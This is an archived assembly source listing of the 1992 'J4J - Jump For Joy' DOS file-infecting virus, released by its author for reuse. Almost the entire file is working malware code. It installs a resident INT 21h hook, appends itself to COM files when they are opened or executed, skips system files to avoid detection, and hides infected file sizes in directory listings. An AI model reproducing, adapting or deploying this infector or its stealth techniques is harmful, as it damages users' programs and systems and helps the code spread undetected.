home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / FIL.ASM < prev    next >
Assembly Source File  |  1992-02-01  |  17KB  |  909 lines

  1. ;J4J - Jump For Joy, released 31 Jan 92, (c) Charlie of Demoralized Youth
  2. ;------------------------------------------------------------------------
  3. ;This source has been lying around for a veeeeeery long time, and I will
  4. ;*NOT* continue to make newer versions of J4J, so that is the reason
  5. ;why I release the source.
  6. ;
  7. ;It's been 'bout a month since my last glance on it, so it's maybe full
  8. ;of bugs, but anyways; assemble with A86
  9. ;
  10. ;Some idea's were taken from Omicron / FLIP B (Just the startup), but
  11. ;the rest was done by CHARLIE of DEMORALIZED YOUTH!
  12. ;
  13. ;Fuck this code up however you like...
  14.  
  15.         tsr_bytes       equ 1024
  16.         tsr_para        equ (4096 / 16)
  17.  
  18. cpt1            equ $
  19.  
  20.         mov     ax,1991
  21.         mov     bx,ax
  22.         mov     cx,ax
  23.         add     ax,13881
  24.         int     21h
  25.         cmp     ax,cx
  26.         je      fail
  27.  
  28.         cmp     sp,-10h
  29.         jb      fail
  30.  
  31.         mov     ax,cs
  32.         dec     ax
  33.         mov     es,ax
  34.         cmp     byte es:[0000h],'Z'
  35.         jne     fail
  36.  
  37.         mov     ax,es:[0003h]
  38.         sub     ax,tsr_para
  39.         jc      fail
  40.  
  41.         mov     es:[0003h],ax
  42.         sub     word ptr es:[0012h],tsr_para
  43.         mov     es,es:[0012h]
  44.  
  45.         call    $+3
  46.  
  47. cpt3            equ $
  48.  
  49.         pop     si
  50.         mov     bx,si
  51.         sub     si,(cpt3-cpt1)
  52.         add     si,(cpt4-cpt1)
  53.         push    cs
  54.         push    si
  55.  
  56.         mov     si,bx
  57.         sub     si,(cpt3-cpt1)
  58.         mov     cx,offset total-100h
  59.         mov     di,100h
  60.         push    es
  61.         rep     movsb
  62.         mov     di,17Dh+2
  63.         push    di
  64.  
  65.         retf
  66. cpt4            equ $
  67.  
  68. fail:
  69.         mov ax,100h
  70.         push ax
  71.         xor ax,ax
  72.         xor bx,bx
  73.         xor cx,cx
  74.         xor dx,dx
  75.         xor si,si
  76.         xor di,di
  77.         xor bp,bp
  78.         push cs
  79.         push cs
  80.         pop es
  81.         pop ds
  82.         mov word [100h],20CDh
  83. rpl1            equ $-2
  84.         mov byte [102h],90h
  85. rpl2            equ $-1
  86.         ret
  87.  
  88. cpt2            equ $
  89.  
  90.  
  91. jmp init
  92.  
  93.  
  94. fcb_open        dw offset fcb_open_cont
  95. exec            dw offset back
  96. open_handle     dw offset back
  97.  
  98. new_int_21:
  99. pushf
  100.  
  101. cmp ah,0Fh      ;open file using FCB's
  102. jne not_open_fcb
  103.  
  104. call    fcb_to_asciiz
  105. push dx
  106. push ds
  107.  
  108. push cs
  109. pop ds
  110. mov dx,offset file
  111.  
  112. push cs:[fcb_open]
  113. jmp file_main
  114.  
  115. fcb_open_cont:
  116. pop ds
  117. pop dx
  118. jmp back
  119.  
  120. not_open_fcb:
  121. ;cmp ah,4Eh
  122. ;je handle_dir
  123. ;cmp ah,4Fh
  124. ;je handle_dir
  125.  
  126. cmp ah,11h
  127. je fcb_dir
  128. cmp ah,12h
  129. je fcb_dir
  130.  
  131. cmp ah,3Eh
  132. jne clodd
  133. cmp bx,1991
  134. jne clodd
  135. xchg ax,bx
  136. popf
  137. iret
  138.  
  139. clodd:
  140. cmp ah,3Dh
  141. jne last_chance
  142. push cs:[open_handle]
  143. jmp file_main
  144.  
  145. last_chance:
  146. cmp ax,4B00h
  147. jne back
  148.  
  149. push cs:[exec]
  150. jmp    file_main
  151.  
  152. back:
  153. popf
  154. db 0EAh
  155. old_int_21      dw 0,0
  156.  
  157. handle_dir:
  158. popf
  159. call    int21
  160.  
  161. pushf
  162. jnc back_handle_dir
  163.  
  164. cmp ax,0
  165. jne back_handle_dir
  166.  
  167. call    stealth_dir_handle
  168. sti
  169.  
  170. back_handle_dir:
  171. popf
  172. iret
  173.  
  174. fcb_dir:
  175. popf
  176. call    int21
  177.  
  178. pushf
  179. cmp al,00h
  180. jne back_fcb_dir
  181.  
  182. call    stealth_dir_fcb
  183. sti
  184.  
  185. back_fcb_dir:
  186. popf
  187. iret
  188.  
  189. fcb_fname       equ 80h+1
  190. fcb_fext        equ 80h+1+8
  191.  
  192. f_attr          equ 80h+15h
  193. f_time          equ 80h+16h
  194. f_date          equ 80h+18h
  195. f_size          equ 80h+1Ah
  196. f_asciiz        equ 80h+1Eh
  197.  
  198. f_handle        equ 80h
  199. f_head_buffer   equ 80h+2
  200. f_tail_buffer   equ 80h-3
  201. f_type          equ 80h+6
  202.  
  203.  
  204. repl0:  db 0E8h,?,?             ;call ????
  205.  
  206. ;repl1:  db 0C7h,6,0,1,?,?       ;mov word [0100h],????
  207. ;        db 0C6h,6,2,1,?         ;mov byte [0102h],??
  208.  
  209. repl2:  push    bp
  210.         mov     bp,sp
  211.         sub     word [bp+2],3
  212.         pop     bp
  213.  
  214. repl3:
  215.  
  216.  
  217. db 'Eloï, Eloï, lamá sabaktáni?'
  218.  
  219. file_main:
  220. pushf
  221. ;call other_file_type_check
  222. ;jnc file_main_pr1
  223. jmp file_main_pr1
  224.  
  225. popf
  226. jmp back
  227.  
  228. file_main_pr1:
  229. push ax
  230. push bx
  231. push cx
  232. push dx
  233. push si
  234. push di
  235. push bp
  236. push es
  237. push ds
  238.  
  239. push cs
  240. pop es
  241.  
  242. mov si,dx
  243. mov di,offset file
  244. cld
  245. mov cx,65
  246. rep movsb
  247.  
  248. push cs
  249. pop ds
  250.  
  251. call    setup_24
  252.  
  253. ;call cpu_check
  254. ;cmp ax,1
  255. ;je file_slutt
  256.  
  257. call file_info_get
  258. jc file_is_done
  259.  
  260. call    mekke_fil
  261.  
  262. file_is_done:
  263. call file_info_set
  264.  
  265. file_slutt:
  266.  
  267. call    rest_24
  268.  
  269. pop ds
  270. pop es
  271. pop bp
  272. pop di
  273. pop si
  274. pop dx
  275. pop cx
  276. pop bx
  277. pop ax
  278. popf
  279. ret ;jmp back
  280.  
  281. file    db 65 dup(0)
  282.  
  283. old_dta         dw ?,?
  284.  
  285. file_info_get:
  286.         mov     ah,2Fh                          ;get DTA address
  287.         call    int21
  288.         mov     old_dta[2],es
  289.         mov     old_dta[0],bx
  290.         mov     ah,1Ah                          ;set DTA address
  291.         push    cs
  292.         pop     ds
  293.         mov     dx,80h
  294.         call    int21
  295.  
  296.         mov     ah,4Eh                          ;FIND FIRST (get info about
  297.         mov     cx,1+2+32                       ;our file)
  298.         mov     dx,offset file
  299.         call    int21
  300.         jnc     file_info_get_ok
  301.         stc
  302.         ret
  303.  
  304.         stc
  305.         ret
  306. file_info_get_ok:
  307.         clc
  308.  
  309.         test    word [f_attr],4                 ;is the System attr. set?
  310.         jnz     offset file_info_get_ok-2       ;yeah, so don't do it..
  311.  
  312.         cmp     word [fcb_fname],'OC'           ;like in: COmmand.com
  313.         je      offset file_info_get_ok-2       ;the command-interpreter
  314.  
  315.         cmp     word [fcb_fname],'BI'           ;like in: IBmbio.com and IBmdos.com
  316.         je      offset file_info_get_ok-2       ;the startup files for IBM-dos
  317.  
  318.         cmp     word [fcb_fext],'YS'            ;like in: country.SYs
  319.         je      offset file_info_get_ok-2       ;device drivers and .SYS files
  320.  
  321.         mov     ax,4301h                        ;set attribute
  322.         xor     cx,cx                           ;attr=0
  323.         mov     dx,offset file
  324.         call    int21
  325.  
  326.         mov     ax,3D02h                        ;open file
  327.         mov     dx,offset file
  328.         call    int21
  329.         jnc     fig_open
  330. fig_fail:
  331.                 stc
  332.                 ret
  333. fig_open:
  334.         mov     [f_handle],ax
  335.  
  336.         mov     bx,ax
  337.         mov     ah,3Fh                          ;read from file
  338.         mov     cx,3                            ;3 bytes
  339.         mov     dx,f_head_buffer
  340.         call    int21
  341.         jnc     fig_read
  342.         jmp     fig_fail
  343.  
  344. fig_read:
  345.         cmp     ax,3
  346.         jne     fig_fail
  347.  
  348.         mov     ax,4200h
  349.         xor     cx,cx
  350.         mov     dx,[f_size]
  351.         sub     dx,3
  352.         mov     bx,[f_handle]
  353.         call    int21
  354.  
  355.         mov     ah,3Fh
  356.         mov     cx,3
  357.         mov     dx,f_tail_buffer
  358.         call    int21
  359.  
  360.         cmp     word [f_size+2],0
  361.  
  362.         jnz     fig_fail
  363.         cmp     [f_size],60000
  364.         ja      fig_fail
  365.  
  366.         cmp     word [f_head_buffer],'MZ'               ;EXE 'ZM' ?
  367.         je      file_is_exe
  368.         cmp     word [f_head_buffer],'ZM'               ;EXE 'MZ' ?
  369.         je      file_is_exe
  370.         cmp     word [f_head_buffer],-1                 ;Device Driver ?
  371.         je      fig_fail
  372.  
  373.         mov     byte [f_type],0                         ;filetype = COM
  374.         clc
  375.         ret
  376. file_is_exe:
  377.         mov     byte [f_type],1                         ;filetype = EXE
  378.         clc
  379.         ret
  380.  
  381. file_info_set:
  382.         mov     ah,1Ah                                  ;set DTA address
  383.         mov     dx,old_dta[0]
  384.         mov     bx,old_dta[2]
  385.         mov     ds,bx
  386.         call    int21
  387.  
  388.         push    cs
  389.         pop     ds
  390.  
  391.         mov     ax,4301h                                ;restore ATTRibutes
  392.         mov     cx,[f_attr]
  393.         mov     dx,offset file
  394.         call    int21
  395.  
  396.         mov     ax,5701h                                ;restore DATE & TIME
  397.         mov     bx,[f_handle]
  398.         mov     cx,[f_time]
  399.         and     cl,255-31
  400.         or      cl,30
  401.         mov     dx,[f_date]
  402.         call    int21
  403.  
  404.         mov     ah,3Eh                                  ;close file
  405.         mov     bx,[f_handle]
  406.         call    int21
  407.         ret
  408.  
  409. db '¿¡¿--?!?'
  410.  
  411. mekke_fil:
  412.         cmp [f_size],1023
  413.         ja not_one_n0
  414.         stc
  415.         ret
  416.  
  417. not_one_n0:
  418.         cmp byte ptr [f_type],0
  419.         je not_one_n1
  420.         stc
  421.         ret
  422.  
  423. not_one_n1:
  424.         cmp word ptr [f_tail_buffer],'4J'
  425.         jne not_one
  426.         stc
  427.         ret
  428.  
  429. not_one:
  430.         mov     ax,[f_size]                             ;calculate CALL
  431.         sub     ax,3                                    ;length
  432.         mov     repl0[1],ax
  433.  
  434.         mov     ax,word [f_head_buffer]
  435.         mov     bl,byte [f_head_buffer]+2
  436.  
  437.         mov     [offset rpl1],ax
  438.         mov     [offset rpl2],bl
  439. ;        mov     word ptr repl1[4],ax                    ;restore orig bytes
  440. ;        mov     repl1[10],bl                            ;after CALL...
  441.  
  442.         mov ax,4200h                                    ;seek to file_start
  443.         mov bx,[f_handle]
  444.         xor cx,cx
  445.         mov dx,cx
  446.         call int21
  447.  
  448.         mov ah,40h                                      ;write CALL XXXX
  449.         mov bx,[f_handle]
  450.         mov cx,3                                        ;3 bytes
  451.         mov dx,offset repl0
  452.         call int21
  453.  
  454.         mov ax,4202h                                    ;seek to EOF
  455.         mov bx,[f_handle]
  456.         xor cx,cx
  457.         mov dx,cx
  458.         call int21
  459.  
  460. ;        mov ah,40h                                      ;write startup-code
  461. ;        mov bx,[f_handle]
  462. ;        mov cx,(offset repl3)-offset repl1
  463. ;              ;???? bytes
  464. ;        mov dx,offset repl1
  465. ;        call int21
  466. ;        jc replace_them_now
  467.  
  468.         mov ah,40h                                      ;write main code
  469.         mov bx,[f_handle]
  470.         mov cx,offset total-100h
  471.         mov dx,100h
  472.         call int21
  473.         jc $+2+1+1
  474.         clc
  475.         ret
  476.  
  477. replace_them_now:
  478.         mov ax,4200h                                    ;seek to beginning
  479.         mov bx,[f_handle]                               ;of the file
  480.         xor cx,cx
  481.         mov dx,cx
  482.         call int21
  483.  
  484.         mov ah,40h                                      ;error, so write
  485.         mov bx,[f_handle]                               ;back 3 first bytes
  486.         mov cx,3
  487.         mov dx,f_head_buffer
  488.         call int21
  489.         stc
  490.         ret
  491.  
  492.  
  493. db 'Charlie says:  Support ()DEMORALIZED YOUTH() '
  494.  
  495. ;;*************************************************************
  496. ;;* CPU checker, coded by Data Disruptor / RABiD Nat'nl Corp. *
  497. ;;*************************************************************
  498. ;cpu_check:
  499. ;        xor     ax,ax
  500. ;        push    ax
  501. ;        popf
  502. ;        pushf
  503. ;        pop     ax
  504. ;        and     ax,0f000h
  505. ;        cmp     ax,0f000h
  506. ;        je      mc_8086
  507. ;        mov     ax,0f000h
  508. ;        push    ax
  509. ;        popf
  510. ;        pushf
  511. ;        pop     ax
  512. ;        and     ax,0f000h
  513. ;        jz      mc_80286
  514. ;        mov     ax,3
  515. ;        ret
  516. ;mc_80286:
  517. ;        mov     ax,2
  518. ;        ret
  519. ;mc_8086:
  520. ;        mov     ax,1
  521. ;        ret
  522.  
  523.  
  524. ;***************************************
  525. ;
  526. ; Call previously saved Int 21h Handler
  527. ;
  528. ;***************************************
  529. int21:
  530.         pushf
  531.         call    dword ptr cs:old_int_21
  532.         ret
  533.  
  534. ;**********************************************
  535. ;
  536. ; Int 24h (Critical Error Handler) Code & Data
  537. ;
  538. ;**********************************************
  539.         err     dw 0
  540.  
  541.         old_24  dw ?,?
  542.         new_24: inc cs:err
  543.                 mov al,0
  544.                 stc
  545.                 iret
  546.  
  547. ;****************************************************************
  548. ;
  549. ; Fix so that Int 24h (Critical Error Handler) won't display the
  550. ; "abort, retry, fail?" message
  551. ;
  552. ;****************************************************************
  553. setup_24:
  554.         xor     ax,ax
  555.         mov     ds,ax
  556.  
  557.         les     bx,[24h*4]
  558.  
  559.         push    cs
  560.         pop     ds
  561.  
  562.         mov     word ptr old_24[0],bx
  563.         mov     word ptr old_24[2],es
  564.  
  565.         mov     ds,ax
  566.         mov     word ptr [24h*4],offset new_24
  567.         mov     word ptr [24h*4+2],cs
  568.  
  569.         push    cs
  570.         push    cs
  571.         pop     es
  572.         pop     ds
  573.         ret
  574.  
  575. ;**********************************************************
  576. ;
  577. ; Restore original Int 24h (Critical Error Handler) vector
  578. ;
  579. ;**********************************************************
  580. rest_24:
  581.         les     bx,cs:old_24
  582.  
  583.         xor     ax,ax
  584.         mov     ds,ax
  585.  
  586.         mov     word ptr [24h*4],bx
  587.         mov     word ptr [24h*4+2],es
  588.  
  589.         push    cs
  590.         pop     ds
  591.         ret
  592.  
  593.  
  594. ;*********************************************************
  595. ;
  596. ; Check if the filename has got an extension of .COM or
  597. ; .EXE. Returns with CY if not a valid filetype, or NC if
  598. ; it is a valid one.
  599. ;
  600. ;*********************************************************
  601. other_fail:
  602.         pop bp
  603.         pop ds
  604.         pop es
  605.         pop di
  606.         pop si
  607.         pop dx
  608.         pop cx
  609.         pop bx
  610.         pop ax
  611.         popf
  612.         stc     ;return with CY
  613.         ret
  614.  
  615. other_file_type_check:          ;here the main routine starts
  616.         pushf
  617.         push ax
  618.         push bx
  619.         push cx
  620.         push dx
  621.         push si
  622.         push di
  623.         push es
  624.         push ds
  625.         push bp
  626.  
  627.         mov     di,dx
  628.         push    ds
  629.         pop     es
  630.  
  631.         cld
  632.         mov     cx,127
  633.         xor     al,al
  634.         repnz   scasb
  635.         jne     other_fail
  636.         dec     di
  637.         dec     di
  638.         dec     di
  639.         dec     di
  640.         dec     di
  641.  
  642.         xchg    si,di
  643.         lodsb
  644.         cmp     al,'.'
  645.         jne     other_fail
  646.  
  647.         lodsw
  648.         and     ax,0DFDFh
  649.         cmp     ax,'OC'
  650.         je      other_okfil
  651.         cmp     ax,'XE'
  652.         je      other_okfil
  653.         jmp     other_fail
  654.  
  655. other_okfil:
  656.         lodsb
  657.         and     al,0DFh
  658.         cmp     al,'M'
  659.         je      other_okfil2
  660.         cmp     al,'E'
  661.         jne     other_fail
  662.  
  663. other_okfil2:
  664.         pop bp
  665.         pop ds
  666.         pop es
  667.         pop di
  668.         pop si
  669.         pop dx
  670.         pop cx
  671.         pop bx
  672.         pop ax
  673.         popf
  674.         clc     ;return with NC
  675.         ret
  676.  
  677.  
  678. stealth_dir_handle:
  679.         jc done_stealthing_handle
  680.  
  681.         pushf
  682.         push ax
  683.         push bx
  684.         push cx
  685.         push dx
  686.         push si
  687.         push di
  688.         push ds
  689.         push es
  690.         push bp
  691.  
  692.         mov ah,2Fh
  693.         call int21
  694.  
  695.         mov ax,word ptr es:[bx+16h]
  696.         mov ah,1Eh
  697.         and al,1Fh
  698.         cmp al,ah
  699.         jne done_stealthing_handle
  700.  
  701.         cmp word es:[bx+1Ah+2],0
  702.         jne done_stealthing_handle
  703.         mov ax,word es:[bx+1Ah]
  704.         sub ax,(offset total)-100h
  705.         jc done_stealthing_handle
  706.         mov word es:[bx+1Ah],ax
  707.  
  708. done_stealthing_handle:
  709.         pop bp
  710.         pop es
  711.         pop ds
  712.         pop di
  713.         pop si
  714.         pop dx
  715.         pop cx
  716.         pop bx
  717.         pop ax
  718.         popf
  719.         ret
  720.  
  721. stealth_dir_fcb:
  722.         pushf
  723.         push ax
  724.         push bx
  725.         push cx
  726.         push dx
  727.         push si
  728.         push di
  729.         push ds
  730.         push es
  731.         push bp
  732.  
  733.         mov ah,2Fh
  734.         call int21
  735.  
  736. ;        mov es,ds
  737. ;        mov bx,dx
  738.  
  739.         mov ax,word ptr es:[bx+14+10h]                  ;16h]
  740.         mov ah,30 ;1Eh
  741.         and al,31 ;1Fh
  742.         cmp al,ah
  743.         jne done_stealthing_fcb
  744.  
  745.         cmp word es:[bx+22+10h],0                       ;+10h+2],0
  746.         jne done_stealthing_fcb
  747.  
  748.         mov ax,word es:[bx+20+10h]                      ;+10h]
  749.         sub ax,(offset total)-100h
  750.         jc done_stealthing_fcb
  751.         mov word es:[bx+20+10h],ax
  752.  
  753. done_stealthing_fcb:
  754.         pop bp
  755.         pop es
  756.         pop ds
  757.         pop di
  758.         pop si
  759.         pop dx
  760.         pop cx
  761.         pop bx
  762.         pop ax
  763.         popf
  764.         ret
  765.  
  766.  
  767.  
  768.  
  769. init:
  770. cli
  771. push cs
  772. push cs
  773. pop ds
  774. pop es
  775.  
  776. mov ax,3521h
  777. int 21h
  778. mov word ptr old_int_21[0],bx
  779. mov word ptr old_int_21[2],es
  780. mov dx,offset new_int_21
  781. mov ax,2521h
  782. int 21h
  783. sti
  784.  
  785. retf
  786. fcb_to_asciiz:
  787. pushf
  788. push ax
  789. push cx
  790. push si
  791. push di
  792. push es
  793.  
  794. push cs
  795. pop es
  796. mov di,offset file
  797.  
  798. cld
  799. mov si,dx ;fcb_start
  800. lodsb
  801. cmp al,0
  802. je fcb_in_current_dir
  803.  
  804. add al,'A'
  805. stosb
  806. mov al,':'
  807. stosb
  808. jmp anyway
  809.  
  810. fcb_in_current_dir:
  811. inc si
  812.  
  813. anyway:
  814. mov si,dx
  815. inc si
  816. mov cx,8
  817. fcb_file_name_xfer:
  818. lodsb
  819. cmp al,' '
  820. je fcb_done_1
  821. stosb
  822. loop fcb_file_name_xfer
  823.  
  824. fcb_done_1:
  825. mov al,'.'
  826. stosb
  827.  
  828. mov si,dx       ;fcb_start
  829. add si,1+8
  830. mov cx,3
  831. fcb_file_ext_xfer:
  832. lodsb
  833. cmp al,' '
  834. je fcb_done_2
  835. stosb
  836. loop fcb_file_ext_xfer
  837.  
  838. fcb_done_2:
  839. mov al,0
  840. stosb
  841.  
  842. pop es
  843. pop di
  844. pop si
  845. pop cx
  846. pop ax
  847. popf
  848. ret
  849.  
  850.  
  851. size    dw (offset total)-100h
  852. db 'J4J'
  853.  
  854. total:
  855.  
  856.  
  857.  
  858.  
  859.  
  860.  
  861.  
  862.  
  863.  
  864.  
  865.  
  866.  
  867.  
  868.  
  869.  
  870.  
  871.  
  872.  
  873.  
  874.  
  875.  
  876.  
  877.  
  878.  
  879.  
  880.  
  881.  
  882.  
  883.  
  884.  
  885.  
  886.  
  887.  
  888.  
  889.  
  890.  
  891.  
  892.  
  893.  
  894.  
  895.  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909.